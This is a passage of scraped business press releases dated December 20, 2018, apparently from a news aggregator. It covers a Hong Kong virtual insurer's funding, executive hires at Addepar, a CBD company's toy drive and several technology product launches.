replace everything with modern technology." Inspired by this same vision, Bowtie has been garnering engineering talent from local and Silicon Valley technology start-ups, as well as industry leaders including former C-suite executives from major insurance companies. The team is 100% based in Hong Kong and comprises actuaries, engineers, designers, a strong service team and even a medical doctor. "As part of our digital transformation strategy, this is a strategic investment by Sun Life in a Hong Kong based start-up that strengthens our market position," said Fabien Jeudy, CEO of Sun Life Hong Kong. "We believe in Bowtie's vision and commitment to enhancing the customer experience. Our investment complements our business, while enabling new distribution modes through the latest technology and digital innovations." Pending Food and Health Bureau's approval, Hong Kong consumers can expect to see health insurance products on Bowtie's digital distribution platform during the first half of 2019 when the Voluntary Health Insurance Scheme (VHIS) begins accepting customer applications. Media Contacts Bowtie (852) 3905 2999 [email protected] About Bowtie Bowtie is a licensed life insurance company and Hong Kong's very first virtual insurer. Built with modern technology and medical expertise, Bowtie's platform will offer life and medical insurance plans to customers instantly and directly. Bowtie will also offer health insurance products under the Voluntary Health Insurance Scheme (VHIS) pending Food and Health Bureau's approval. By eliminating paper, commissions and intermediaries, Bowtie's mission is to enable a new generation of consumers to access insurance protection and take control of life protection decisions for themselves. Bowtie is backed with HKD 234 million from Sun Life Financial and supported by leading international reinsurers. Stay up to date at www.bowtie.com.hk. About Sun Life Financial Sun Life Financial is a leading international financial services organization providing insurance, wealth and asset management solutions to individual and corporate Clients. Sun Life Financial has operations in a number of markets worldwide, including Canada, the United States, the United Kingdom, Ireland, Hong Kong, the Philippines, Japan, Indonesia, India, mainland China, Australia, Singapore, Vietnam, Malaysia and Bermuda. As of September 30, 2018, Sun Life Financial had total assets under management of CDN $984 billion. For more information please visit www.sunlife.com. Sun Life Financial Inc. trades on the Toronto (TSX), New York (NYSE) and Philippine (PSE) stock exchanges under the ticker symbol SLF. Sun Life Hong Kong Limited is a member of the Sun Life Financial group of companies. About Hong Kong X Technology Fund Hong Kong X was jointly founded by Mr. Neil Shen, Founding and Managing Partner of Sequoia Capital China, along with Prof. Zexiang Li of the Hong Kong University of Science and Technology and Prof. Guanhua Chen of the University of Hong Kong. Tencent's Mr. Pony Ma is the Honorary Chairman of Hong Kong X. Photo - https://photos.prnasia.com/prnh/20181220/2333169-1 Logo - https://photos.prnasia.com/prnh/20181220/2333169-1LOGO SOURCE Bowtie Life Insurance Company Limited [ Back To TMCnet.com's Homepage ] [December 20, 2018] Addepar Strengthens Leadership Bench, Hires Industry Veterans Addepar, a leading technology platform for wealth management, today announced the appointment of several key executives, including: Stephen Snyder as Chief Financial Officer, David Lessing as Chief Revenue Officer, Daniel Bayer as Senior Vice President of Services, Sally Buchanan as Vice President of People and Operations, and Natalie Sunderland as Vice President of Marketing. Addepar is also proud to announce the addition of Laurence Tosi to the company's Board of Directors. "I'm thrilled to welcome these new executives, who add tremendous experience to our bench during a period of rapid growth," said Eric Poirier, Chief Executive Officer of Addepar. "The wealth management industry is poised to transform, in part due to advances in technology, and this exceptional leadership talent will enable Addepar to accelerate our already rapid pace of innovation and help lead us into our next phase of growth." Stephen Snyder brings over 20 years of experience working for leading enterprise software and SaaS (News - Alert) businesses, with deep expertise as a global leader in finance and operations. Previously, Snyder was Chief Financial Officer at Rocket Fuel Inc., a public company, and Trilliant (News - Alert), a late-stage venture capital-backed company. He has held executive roles at both Adobe and HP. Snyder assumes the Chief Financial Officer role from Nancy Hilker, who is retiring from Addepar, after five years of strong contributions to the company. David Lessing joins Addepar after serving as a Board member, advisor, and CEO of several financial services startups over the past four years. He has spent most of his career in senior leadership roles in the wealth management industry, serving as Chief Operating Officer for Morgan Stanley's U.S. Field Management Group and Head of Merrill Lynch's Global Private Client Direct Division. Previously, David served as an advisor to financial services companies at McKinsey & Company (News - Alert). Daniel Bayer brings deep expertise in enterprise SaaS, as well as organizational improvement consulting for Fortune 500 companies, as Senior Vice President of Services. Previously, he was Senior Vice President of Professional Services at Apttus, establishing the Center of Excellence and Global Enterprise consulting businesses. Prior to Apttus, he was Vice President and General Manager of the Life Science business at Model N. Sally Buchanan joins the company as Vice President of People and Operations, bringing over two decades of experience n global human resources in high-growth tech companies. She joins from Twitch, where she was Vice President of People and Workplace. Buchanan also previously held leadership roles at Ooyala, as Vice President of People, and PlayStation, as Senior Vice President of People and Organization. Natalie Sunderland is a noted enterprise software marketer with a track record of building iconic brands, scaling operational teams, and accelerating growth. Prior to joining Addepar, she served as Vice President of Marketing at A.I. leader Qventus as well as at Castlight, leading both companies through periods of hypergrowth. Sunderland also previously held leadership roles at American Express (News - Alert), Citigroup, and Ameriprise Financial. As the former Chief Financial Officer of Airbnb and The Blackstone Group, Laurence Tosi brings over two decades of tech and finance experience to Addepar's board. Tosi currently serves as Managing Partner of Weston Capital, the diversified capital platform that he founded over 25 years ago. He has also held several senior leadership roles at Merrill Lynch, including Chief Operating Officer and Managing Partner. Tosi is an experienced founder of several fintech companies including iPreo, the leading capital markets software company that was sold to IHS (News - Alert) Markit in 2018. "LT's financial industry expertise, strong track record of delivering purpose-built technology solutions, and long-term strategic guidance will be invaluable to Addepar, particularly as we bring our enterprise platform to the broader private wealth management market," added Poirier. These new hires come as Addepar reaches $1.3 trillion in clients' assets managed on its platform, a 30% increase since April. In November, Morgan Stanley's Head of Technology, Rob Rooney, recognized Addepar with its FinTech Innovation award for having a significant impact on the firm's mission to continuously innovate for its clients and business. "Addepar has always been an ambitious company focused on transforming global finance and building an industry-wide operating system that changes the way decisions are made," said Joe Lonsdale, Founder and Executive Chairman of the Board. "I'm proud of the stellar executives who joined the company in 2018. They will accelerate our ability to serve our current market, while opening up the next phase of initiatives that will help our customers serve their clients in entirely new ways, ultimately transforming how decisions are made and how financial products and services are delivered." The financial industry has seen a continued trend of personal wealth investments held in alternatives and private assets. As the world's financial markets become increasingly volatile, top wealth management firms are seeking technology that can provide visibility into these complex assets, in order to better assess portfolio exposure and risk. The Addepar platform provides total visibility into portfolios across all asset classes, and offers capabilities to intuitively analyze portfolio data, and accurately handles complex ownership structures, multiple asset classes, and multi-currency scenarios. This allows financial advisors to make more informed and timely investment decisions for their clients. Addepar counts hundreds of firms, including independent financial advisors, family offices, and large financial institutions, as clients. About Addepar: Addepar is a leading provider of technology for the wealth management industry. The company's performance reporting and analytics platform aggregates portfolio, market, and client data all in one place allowing financial advisors to make more informed and timely investment decisions for their clients. Headquartered in Silicon Valley, Addepar works with leading financial advisors, family offices, and large financial institutions that manage over $1.3 trillion of assets on the company's platform. Addepar was featured as a 2018 Forbes Fintech 50 and 2018 CB Insights Fintech 250 recipient, and was named among Fast Company's Most Innovative Companies in 2015. Addepar has offices in Mountain View, New York City, Chicago, and Salt Lake City. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005102/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] Diamond CBD and Marine Toys For Tots Foundation Bring Holiday Cheer to Needy Kids FORT LAUDERDALE, Fla., Dec. 20, 2018 (GLOBE NEWSWIRE) -- via OTC PR WIRE Diamond CBD Inc., wholly owned subsidiary of PotNetwork Holdings, Inc. (OTC Pink: POTN) and leader in hemp-derived CBD products for the health and wellness market celebrated another successful year of sales by giving back to those in need in the surrounding communities. Partnering with the local United States Marine Corps Toys for Tots program in Hialeah, Florida, the company donated hundreds of new, unwrapped toys to help local children enjoy a wonderful holiday season. Diamond CBD in proud partnership with Toys For Tots The program, which is located at 18650 NW 62nd Ave, Hialeah, FL, 33015, and is a combined partnership between the U.S. Marines and volunteers of the 4th Civil Affairs Group gives the children of Miami-Dade and Broward Counties something special to look forward to each year. Diamond CBD has always put caring and community at the forefront of its mission, which is why the company is proud to work with the local United States Marine Corps Toys for Tots program. Just as Diamond CBD has put community first with its recent call to action for quality and accountability in the CBD industry, so too has the Toys for Tots program, making it the perfect relationship in the eyes of company leadership. In fact, Diamond CBD recommends that anyone interested in donating to their local Toys for Tots program contact the National Website at www.toysfortots.org. "We are incredibly pleased to be a part of this cause," said Kevin Hagen, CEO of Diamond CBD's parent company, PotNetwork Holdings, Inc. "Giving bck to the community is a central part of Diamond CBD's mission, and to be able to help in any way that we can is what the holiday season should be about. We are donating hundreds of toys and children's games for Toys for Tots and we hope to have as many people as possible join in to help out." The Toys for Tots program collects new, unwrapped gifts for children in need all across the country, handing out those toys throughout the holiday season in an effort to give each child a little bit of hope, no matter their situation. Headed up by a local Marine Corps Reserve Unit, a Marine Corps League Detachment, or other group authorized by the Marines, it is a three-month effort that begins in October and lasts through mid-December. In addition to collecting toys, the group holds a number of fundraisers to generate interest in the event, including bike races and gold outings, to name a few. This year Diamond CBD saw an amazing turnout when it came to their Toys for Tots drive, with hundreds of people donating toys. To celebrate the moment, and to thank the local Marine Corps Units for their hard work, the company put together a fun video, which can be seen here. It shows the whole Diamond CBD team coming together to collect toys and bring them to the Toys for Tots team. "We're very lucky to have had such a successful year," said Hagen. "It's only right that we share some of our goodwill and fortune with those who need it during the holiday season. This is a time of giving and we hope to see every child with a smile on their face." For more information on the national Toys for Tots program, interested parties can go to www.toysfortots.org, and for more information about Diamond CBD, and all of the company's efforts to give back to the community, go to www.diamondcbd.com. About Diamond CBD, Inc. Diamond CBD focuses on the research, development, and multinational marketing of premium hemp extracts that contain a broad range of cannabinoids and natural hemp derivatives. Diamond CBD's team consists of hemp industry pioneers and natural product experts, chemists, doctors and scientists, dedicated to producing the finest and purest cannabidiol (CBD) oils. The result is a robust selection considered among the most powerful natural CBD oils, tinctures, edibles, and vape liquids found anywhere. For more information, please visit its website at www.DiamondCBD.com. About PotNetwork Holdings, Inc. PotNetwork Holdings, Inc. (OTC Pink: POTN) is a publicly traded company that acts as a holding company for its principal subsidiaries, First Capital Venture Co., the owner of Diamond CBD, Inc., the maker of Diamond CBD products. For more information, please visit its website at www.PotNetworkHolding.com Safe Harbor: Forward-Looking Statements are included within the meaning of Section 27A of the Securities Act of 1933, and Section 21E of the Securities Exchange Act of 1934, as amended. All statements regarding our expected future financial position, results of operations, cash flows, financing plans, business strategy, products and services, competitive positions, growth opportunities, plans and objectives of management for future operations, including words such as "anticipate," "if," "believe," "plan," "estimate," "expect," "intend," "may," "could," "should," "will," and similar expressions are forward-looking statements and involve risks, uncertainties and contingencies, many of which are beyond our control, which may cause actual results, performance, or achievements to differ materially from anticipated results, performance, or achievements. We are under no obligation to (and expressly disclaim any such obligation to) update or alter forward-looking statements, whether as a result of new information, future events or otherwise. Contact: PotNetwork Holdings, Inc. Investor Relations: Marisol Elwell 1-800-915-3060 [email protected] A photo accompanying this announcement is available at //www.globenewswire.com/NewsRoom/AttachmentNg/f09b175c-2f38-46f6-a46d-13bdafd950ba [ Back To TMCnet.com's Homepage ] [December 20, 2018] Quest Solution Signs Follow-on Agreement for the Manufacture and Supply of Approximately $3M Worth of Mobile Computers EUGENE, Ore., Dec. 20, 2018 (GLOBE NEWSWIRE) -- Quest Solution, Inc. (OTCQB: QUES), (Quest or the Company) a provider of Supply Chain and Artificial Intelligence (AI)-based Machine Vision solutions, announces that its wholly owned subsidiary, HTS Image Processing, Inc. (HTS), has signed an extension to its supply agreement with an existing customer through December 31, 2019. The extension is valued at approximately $3 million for the manufacture of a forecasted 5,500-6,000 portable, rugged computer based units. Shai Lustgarten, CEO of Quest, commented: We are pleased to have extended this important contract and are focused on further developing and enhancing this partnership going forward. We view this contract renewal as a validation of our state-of-the-art technical capabilities and believe our newly acquired technical expertise will enable us to integrate superior tailored equipment into our Artificial Intelligence and Supply Chain Solutions, improving performance and increasing profitability. We look forward to our continued work with our current customer base, and to attracting new customers and introducing new white label products for supply chain applications. The newly acquired segment of our business provides predictable recurring orders and diversifies our revenue stream, providing an important strategic advantage as we focus on growing our Company. Mr. Lustgarten concluded, With our proprietary new AI technology and enhanced technical capabilities, we are focused on continuing to leverage our strong Fortune 500 customer base, offering them unique solutions that integrate our AI technology with Quest legacy products. About Quest Solution, Inc. Quest Solution is a Specialty Systems Integrator focused on Field and Supply Chain Mobility as well as a provider of Artificial Intelligence (AI) monitoring and surveillance solutions. Additionally the Company is manufacturer and distributor of consumables (labels, tags, and ribbons), RFID and IoT solutions, and barcoding printers. Founded in 1994, Quest is headquartered in Salt Lake City, Utah with sales offics located across the United States as well as Israel. Rated in the Top 1% of global solution providers, Quest specializes in the design, deployment and management of enterprise mobility solutions including Automatic Identification and Data Capture (AIDC), Mobile Cloud Analytics, RFID (Radio Frequency Identification), and proprietary Mobility software. Our mobility products and services offering is designed to identify, track, trace, share and connect data to enterprise systems such as CRM or ERP solutions. Our customers are leading Fortune 500 companies from several sectors including manufacturing, retail, distribution, food / beverage, transportation and logistics, health care and chemicals / gas / oil. www.questsolution.com Information about Forward-Looking Statements Safe Harbor Statement under the Private Securities Litigation Reform Act of 1995. Statements in this press release relating to plans, strategies, economic performance and trends, projections of results of specific activities or investments, and other statements that are not descriptions of historical facts may be forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995, Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934. This release contains forward-looking statements that include information relating to future events and future financial and operating performance. The words may, would, will, expect, estimate, can, believe, potential and similar expressions and variations thereof are intended to identify forward-looking statements. Forward-looking statements should not be read as a guarantee of future performance or results, and will not necessarily be accurate indications of the times at, or by, which that performance or those results will be achieved. Forward-looking statements are based on information available at the time they are made and/or managements good faith belief as of that time with respect to future events, and are subject to risks and uncertainties that could cause actual performance or results to differ materially from those expressed in or suggested by the forward-looking statements. Important factors that could cause these differences include, but are not limited to: fluctuations in demand for Quest Solution, Inc.s products, the introduction of new products, the Companys ability to maintain customer and strategic business relationships, the impact of competitive products and pricing, growth in targeted markets, the adequacy of the Companys liquidity and financial strength to support its growth, the Companys ability to manage credit and debt structures from vendors, debt holders and secured lenders, the Companys ability to successfully integrate its acquisitions, risks related to the sale of Quest Solution Canada Inc. to Viascan Group Inc. and other information that may be detailed from time-to-time in Quest Solution Inc.s filings with the United States Securities and Exchange Commission. Examples of such forward looking statements in this release include, among others, statements regarding revenue growth, driving sales, operational and financial initiatives, cost reduction and profitability, and simplification of operations. For a more detailed description of the risk factors and uncertainties affecting Quest Solution, Inc. please refer to the Companys recent Securities and Exchange Commission filings, which are available at http://www.sec.gov. Quest Solution, Inc. undertakes no obligation to publicly update or revise any forward-looking statements, whether as a result of new information, future events or otherwise, unless otherwise required by law. Investor Contact: John Nesbett/Jen Belodeau IMS Investor Relations 203.972.9200 [email protected] [ Back To TMCnet.com's Homepage ] [December 20, 2018] Symphony RetailAI Wins "Best Use of AI in Retail" Award DALLAS, Dec. 20, 2018 (GLOBE NEWSWIRE) -- Symphony RetailAI , the leading global provider of Artificial Intelligence-enabled decision platforms, solutions and customer-centric insights that drive validated growth for retailers and CPG manufacturers, announced today that it was named winner of The Global Annual Achievement Awards for Artificial Intelligence (Awards.AI) for the Best Use of AI in Retail. Now in its third year, Awards.AI is the first and biggest global annual achievement awards for artificial intelligence. Recognizing the hard work and dedication of those in the AI community, the awards named 35 companies and individuals across six categories. Under the category for AI Business Application Awards, this was the first year to feature the award for Best Use of AI in Retail, with Symphony RetailAI as the winner. The nominations are reviewed by a panel of judges consisting of senior executives involved in the AI community. Recognized for its development of retail-specific, AI-enabled solutions over the last 12 months, Symphony RetailAI has brought to market a number of offerings that enlist the power of AI and machine learning to help high volume retailers deliver significantly improved performance: SR Promotion PlanningAI analyzes year-over-year promotion effectiveness and applies powerful AI-based forecasting models to provide recommendations that maximize sales, margin or volume. analyzes year-over-year promotion effectiveness and applies powerful AI-based forecasting models to provide recommendations that maximize sales, margin or volume. SR Personalized Marketing new AI-enabled capabilities allow retailers to rapidly increase the scale, accuracy, timeliness and variety of offers they share with their customers, leading to significantly higher redemption rates and sales uplift. new AI-enabled capabilities allow retailers to rapidly increase the scale, accuracy, timeliness and variety of offers they share with their customers, leading to significantly higher redemption rates and sales uplift. SR Demand ForecastingAI uses artificial intelligence to generate more accurate demand forecasts for fresh and ultra-fresh grocery items alongside other categories, in turn improving service levels and reducing food waste. These solutions came quickly on the heels of the companys launch of CINDE , a first-of-its-kind artificial intelligence-enabled digital assistant for grocery and hard goods retail that processes billions of bits of data in real time, mining trends and anomalies, to serve up answers and next best actions in seconds that would take a team of anaysts hours, days or weeks. Its an honor to be recognized by Awards.AI as the leader in applying AI in retail, said Dr. Pallab Chatterjee, Chairman and CEO, Symphony RetailAI. This award speaks to our dedication to artificial intelligence in high volume retail, and moving it from hype to reality, as we continue to innovate and release more AI-based solutions that will deliver profitable revenue growth and efficiencies across marketing, merchandising and supply chain. This Best Use of AI in Retail award adds to the growing recognition of Symphony RetailAIs innovative capabilities. In July, the company was included in EnsembleIQs 2018 Retail Technology Innovation Index , where it was recognized as one of the top four companies for product innovation. See the full listing of The Global Annual Achievement Awards for Artificial Intelligence recipients. Symphony RetailAIs AI-enabled solutions will be on full display at NRF, booth #3036, in January 2019. To schedule a meeting or demonstration, or for more information visit nrf.symphonyretailai.com About The Global Annual Achievement Awards for Artificial Intelligence Awards.AI is the first and biggest global annual achievement awards for artificial intelligence. Now entering its fourth year, our focus is to support the AI community by recognizing the hard work and dedication of those working in the field. This year we have 35 awards across 6 categories, highlighting achievements in a number of industries and ranging from start-ups, established companies and individuals. We are open for initial nominations and then will have a combination of a judging panel of experts as well as public vote on shortlisted nominees. We will also partner with various events to showcase shortlisted nominees throughout the year. Overall, a very exciting Awards program which reflects the work happening across the industry. Founded in 2015, Awards.AI is part of the Informed.AI Media Group which runs a number of community websites supporting the area of Artificial Intelligence. Our manifesto is to help support those interested to learn more about the field of AI, from students, to academic researchers and everyone in-between. Other websites in our network include into.AI, Events.AI and Neurons.AI. Dr Andy Pardoe is the managing director and founder of Informed.AI, a leading expert in Artificial Intelligence and listed as a global AI influencer by IBM Watson. Learn more at Pardoe.AI About Symphony RetailAI Symphony RetailAI is the leading global provider of Artificial Intelligence-enabled decision platforms, solutions and customer-centric insights that drive validated growth for retailers and CPG manufacturers, from customer intelligence to personalized marketing, and merchandising and category management, to supply chain and retail operations. Symphony RetailAI is innovating rapidly to drive faster, more profitable decisions through AI, machine learning and voice technologies. We are trusted by over 1,200 organizations including 15 of the worlds 25 largest grocery retailers, thousands of retail brands, and hundreds of national and regional chains worldwide to help solve their toughest business problems, through AI-powered customer intelligence and retail solutions. Symphony RetailAI was formed in 2018, merging Symphony GOLD and Symphony EYC. Symphony RetailAI is a SymphonyAI company. More at www.symphonyretailai.com . Follow us on Twitter: @symphonyretail . About SymphonyAI SymphonyAI is a group of companies that provide the leading AI-centric solutions for transforming the business enterprise by driving revenue growth and operational excellence, for the retail, CPG, healthcare and industrial verticals, and for finance, IT and other key enterprise horizontal functions. Founded by Dr. Romesh Wadhwani, SymphonyAI is one of the fastest growing companies in the business-to-business AI solutions sector with revenue this year of $275 million and 1,500 employees. More at www.symphonyai.com . Media Contact Adrienne Newcomb Ketner Group Communications (for Symphony RetailAI) [email protected] 512-794-8876 [ Back To TMCnet.com's Homepage ] [December 20, 2018] Secova to launch new SaaS Benefits Administration platform, iPlan COSTA MESA, Calif., Dec. 20, 2018 /PRNewswire/ -- Secova, a leading provider of employee benefits administration solutions, is pleased to announced the launch of iPlan, an advanced Software-as-a-Service technology to support and streamline administering benefits for small- to mid-sized organizations. iPlan is currently undergoing final internal and external Beta testing and will launch and become available for employers, consultants and brokers in February 2019. iPlan is an easily configurable solution that, through preset eligibilities, can go live in as few as six days. Administrators can leverage iPlan's configuration tool with predefined, yet customizable interactive questions to navigate premiums, rates and plans for employees, enabling more effective rules-driven offerings, efficient process flows and error-free decision-making for employees and administrators. iPlan's guided and intuitive user interface allows even those with no technical coding experience to find its step-by-step interface simple to use and manage. Similarly, iPlan's cloud-based, mobile-friendly, employee-facing tool provides a "shopping cart" style experience to enable benefits elections. In this way, iPlan supports familiar navigation that allows employees to make educated decisions about their benefits. Should employees have questions along the way, iPan's multi-location communication architecture allows them to consult available videos, written content or linked resources to get the assistance they need. "iPlan was created with a vision to empower the employees even while supporting the needs of employers and brokers," said Venkat Tadanki, Co-Founder and CEO of Secova. "About three years ago, when some members of the industry questioned the 'value-add' brought in by brokers, we were certain that there was a huge amount of local and domain specific knowledge that brokers brought to the table, but were perhaps handicapped by the lack of an easy-to-use system or platform that they could manage on their own. That was the genesis to creating iPlan." From managing life events, updating dependents, assigning beneficiaries to supporting Evidence of Insurability processes, iPlan enables employees to manage their own benefits, thereby reducing the time HR Administrators spend on daily processes. iPlan provides a simple yet elegant experience for both administrators and users. About Secova Secova is a leading provider of employee benefits administration solutions, with delivery centers in California, New Jersey, and Chennai, India. Secova provides customized solutions to support benefits enrollment, eligibility audits and billing management, as well as 24/7 live customer assistance. For more information, please visit secova.com. Media Contact: Kris Murali Director, Client Development w: 714.384.0642 m: 714.333.5758 [email protected] View original content to download multimedia:http://www.prnewswire.com/news-releases/secova-to-launch-new-saas-benefits-administration-platform-iplan-300769451.html SOURCE Secova [ Back To TMCnet.com's Homepage ] [December 20, 2018] Tektronix' Initial State Launches Affordable New Data Streaming and Visualization Service BEAVERTON, Ore., Dec. 20, 2018 /PRNewswire/ -- Tektronix, Inc., a leading worldwide provider of measurement solutions, today announced the launch of a new Initial State data streaming and visualization service for individuals. The cloud-based data service, which includes unlimited data streaming and beautiful visualizations, is priced at $9.99 per month or $99 per year and is free for students. Tektronix acquired Nashville, Tennessee-based Initial State Technologies Inc. earlier this year. The cloud-based Initial State platform provides a highly secure centralized repository for time-series data and untethers analysis from installed software all visualization and analysis applications are available through a web browser. Initial State uses AWS infrastructure and enterprise-grade best practices for encryption, data and access management, and offers high uptime and full data redundancy. As a testament to its scalability and reliability, the platform processed over 100 billion data points in the last year with zero downtime. "We built our new data streaming/visualization service to give engineers, technologists, scientists, and students a powerful, reliable and flexible set of data tools they can actually afford," said Initial State founder and CEO Jamie Bailey. "We are thrilled to be part of the Tektronix family and look forward to bringing our data streaming and visualization service to a much broader audience on a global basis." The platform goes beyond data streaming and incorporates a robust set of tools that make it an essential part of the toolbox for a wide range of applications such as home/office monitoring, IoT device performance dashboards, GPS trackers, manufacturing line data collection, education and energy use tracking to name a few. In addition to unlimited data streams, the $9.99 per month price includes a web-based dashboard builder, up to 180 API calls (1,800 events) per minute data streaming, email and SMS triggering and private or public sharing of data and dashboards. "We see the Initial State data platform as solving a very important problem for engineers, namely how to make sense of mountains of data and share results and analysis broadly at scale. As such, the Initial State platform will be a significant enabler for our customers as we expand into design validation analytics and workflow enablement," said Chris Witt, vice president and general manager of the Time Domain Business Unit at Tektronix. Data Transformations Reveal Meaning Among the platform's more advanced capabilities are real-time data transformations that make it easy to derive meaning from both historical and real-time data without manual calculations. Real-time triggers allow users to set alarms with SMS and email notifications. Using these tools, engineers can build hosted data applications using both historical and incoming real-time data. To improve collaboration, users can add notes, comments and emojis for specified time ranges and then cycle through annotations for presentations and review. A popular application for Initial State is Internet of Things (IoT) data stream analysis. One such customer, eleven-x, a LoRaWAN network operator and IoT solutions provider, uses Initial State to monitor and analyze real-time sensor data from devices deployed in wells for water levels and temperature. "Initial State gives us a remarkably easy and powerful way to aggregate and analyze sensor data from our solutions," said Ryan Hickey, COO of eleven-x. "Whether we are troubleshooting in the field or simply collecting data for analysis, Initial State gives our engineers a fantastic set of data tools to work with." The platform also plays a role in supporting product development and research at Kyzen, a supplier of environmentally responsible advanced cleaning technology, according to Ram Wissel, vice president and global technology manager: "Initial State's data visualization tools have improved our new product development cycle by allowing faster and more accurate discrimination between iterations. The tool provides impressive flexibility by allowing users to select and customize the presentation of their data to quickly analyze what is most important to them, thus improving efficiency and user experience." Raspberry Pi Analysis Another popular application for Initial State is bringing affordable data streaming capabilities to hobbyists and educational projects. To this end, Initial State has partnered with the Raspberry Pi Foundation to enable students around the world to create their own weather analysis for the Raspberry Pi Oracle Weather Station project. "Initial State is a great solution for visualizing data streamed from your Raspberry Pi," said Richard Hayler, citizen science program manager, Raspberry Pi Foundation. "The dashboards created by schools and clubs as part of our Weather Station program provide an incredibly engaging and intuitive way to display and understand the measurements from around the world." Availability and Pricing The Initial State platform is available now. Following the free 14-day trial, pricing for Initial State is $9.99 per month or $99 per year. For more details go to: https://www.initialstate.com Wondering what else Tektronix is up to? Check out the Tektronix Bandwidth Banter blog and stay up to date on the latest news from Tektronix on Twitter and Facebook. About Tektronix Headquartered in Beaverton, Oregon, Tektronix delivers innovative, precise and easy-to-operate test, measurement and monitoring solutions that solve problems, unlock insights and drive discovery. Tektronix has been at the forefront of the digital age for over 70 years. Join us on the journey of innovation at TEK.COM. Tektronix is a registered trademark of Tektronix, Inc. All other trade names referenced are the service marks, trademarks or registered trademarks of their respective companies. View original content to download multimedia:http://www.prnewswire.com/news-releases/tektronix-initial-state-launches-affordable-new-data-streaming-and-visualization-service-300769391.html SOURCE Tektronix, Inc. [ Back To TMCnet.com's Homepage ] [December 20, 2018] Candidate Shortages Prompt Increased Sign-on Perks and Openness to Transferable Skills PHILADELPHIA, Dec. 20, 2018 /PRNewswire/ -- With unemployment in the executive, managerial and professional sector hovering around 2 percent, companies across many industries are struggling to find top talent. A recent survey conducted by MRINetwork, underscores the need to reconsider the qualifications required of candidates, as well as the incentives potential employers should offer to attract applicants into their companies. MRINetwork is one of the largest executive search and recruitment organizations in the world. According to the 2018 MRINetwork Performance Management Study, due to a lack of industry-experienced talent, nearly 80 percent of employers surveyed agree or strongly agree they're more likely to hire people with transferable skills. "Because of the increased competition for high performers, employers are now more willing to make concessions to find needed talent that can move their organizations forward," says Nancy Halverson, general manager of MRINetwork. "Instead of focusing on the perfect candidate who has worked several years in the industry, they're recognizing that an applicant can still have a tremendous impact based on other work experiences and methodologies that would be welcomed in the organization." "By considering those with transferable skills," observes Halverson, "you can significantly expand the number of applicants and focus on more general skills, such as organization, teamwork and communication, which might be just as important for the role, but are much less teachable than specific, technical skills." Both empoyers and candidates see poor communication as a problem in this area, according to the study. "Companies need to make it clear they are open to candidates who have applicable expertise, despite their lack of specific industry experience," advises Halverson, "and candidates need to focus on how they discuss transferable skills during the interview process and demonstrate how those skills can be applied to a different industry." The study also indicated that half of the surveyed employers are increasing the rate at which they offer sign-on perks. Among the top perks that organizations are willing to provide are company-paid health insurance, sign-on bonuses and moving expenses. Candidates are on the same page as employers about the desirability of these benefits, with 76 percent citing both sign-on bonuses and health insurance, and 54 percent citing moving expenses as most important to them. A number of employers also stated they are willing to offer tuition reimbursement (33 percent) and even pay moving expenses (32 percent) as incentives. "Employee perks can have a significant impact on the ability to attract desirable candidates and lower employee turnover," says Halverson. "Some of the standard benefits packages offered by companies just aren't cutting it, which is why many firms have decided to augment them to stay ahead of their competition for top candidates." An interesting finding of the survey suggested that while employers are boosting sign-on perks, many candidates are unaware of the potential perks they could be leaving on the table. Halverson believes that organizations need to become more forthcoming about these perks during the hiring process and applicants need to become less afraid to negotiate these benefits. In a down market, candidates will be less demanding and more flexible with employers. But in today's market, applicants have numerous options, so it is imperative that the way employers approach them and the advantages that are offered give candidates every reason to want to join a company. About the 2018 MRINetwork Performance Management Study: The 2018 MRINetwork Performance Management Study is based on web-based surveys conducted by independent research firm, OnePoll, in October 2018. The survey includes a total of 220 employers and nearly 200 candidates responding across the U.S. Parties interested in viewing the most recent report can download the Study at MRINetwork.com/Performance-Management-Study. About MRINetwork : Management Recruiters International, Inc., branded as MRINetwork, is one of the largest executive search and recruitment organizations in the world. A subsidiary of CDI Corporation, a leading provider of engineering and information technology outsourcing solutions, MRINetwork has approximately 400 offices spanning four continents. Visit MRINetwork at www.mrinetwork.com. View original content to download multimedia:http://www.prnewswire.com/news-releases/candidate-shortages-prompt-increased-sign-on-perks-and-openness-to-transferable-skills-300769285.html SOURCE MRINetwork [ Back To TMCnet.com's Homepage ] [December 20, 2018] Obrigado Releases First-ever Sustainability Impact Report Obrigado, Brazil's much-loved coconut beverage brand, released its first-ever Sustainability Impact Report today detailing the positive environmental, educational and economic impacts the company has made over the last years. Key accomplishments include: saving valuable water by using approximately 80 percent less water per coconut tree than normal irrigation systems, preserving 70 percent of the land it owns as untouched forest and saving 35,000 tons of CO 2 . As the first and only B-Corp Certified coconut beverage company, Obrigado is committed to sustainability with a goal to be zero waste within the next few years. "Our philosophy is simple. We want to deliver high-quality, delicious tasting coconut beverages while also adding value to people's lives and honoring nature," said Roberto Lessa, CEO and chief sustainability officer for Obrigado. "From educating hundreds of Brazilian children to providing valuable employment opportunities to local citizens, our impact report highlights the breadth and depth of our efforts to create a better world by improving the environment and empowering those in need." Key Sustainability Highlights: Utilizing approximately 80 percent less water per coconut tree than normal irrigation systems. Obrigado's unique irrigation and barcode systems allow the company to read how much water and fertilizer each specific tree needs saving valable water and fertilizer. Planting more than 400,000 trees thereby significantly contributing to combating climate change. Together, these trees have a carbon uptake of more than 35,000 ton of CO2, which is the equivalent of approximately 4,000 households per year. Creating 10.00.00m2 biodegradable anti-erosion blankets out of raw coconut materials, with a goal to be zero waste within the next few years. In 2013, Obrigado learned that more than 90 percent of the children in their community of Pedra Grande were illiterate so they established Instituto Gente, a non-profit foundation that provides schooling for the children of the native families. Revenue from every Obrigado product is invested into Instituto Gente. To view the full Sustainability Impact Report, please visit obrigado.com. About Obrigado Obrigado is a Brazilian coconut beverage brand that makes delicious and refreshing coconut waters, milks and juices from young, green coconuts that are grown on their very own sustainable farms in Bahia, Brazil. To ensure the freshest taste of its beverages, each of its coconut trees has a barcode for complete traceability and quality. All of Obrigado's products are all-natural, never from concentrate, have no added sugar or preservatives, and are strictly non-GMO. Obrigado, which means 'Thank You' in Portuguese, is brought to the United States by Aurantiaca USA LLC, an affiliate of Grupo Aurantiaca LLC. True to its brand name, Obrigado is committed to providing innovative and high-quality coconut beverages while also respecting the environment and its communities. The company is committed to zero waste and does its very best to turn every coconut into high-quality products that add value to people's lives and honor nature. For more information about Obrigado, visit obrigado.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005130/en/ [ 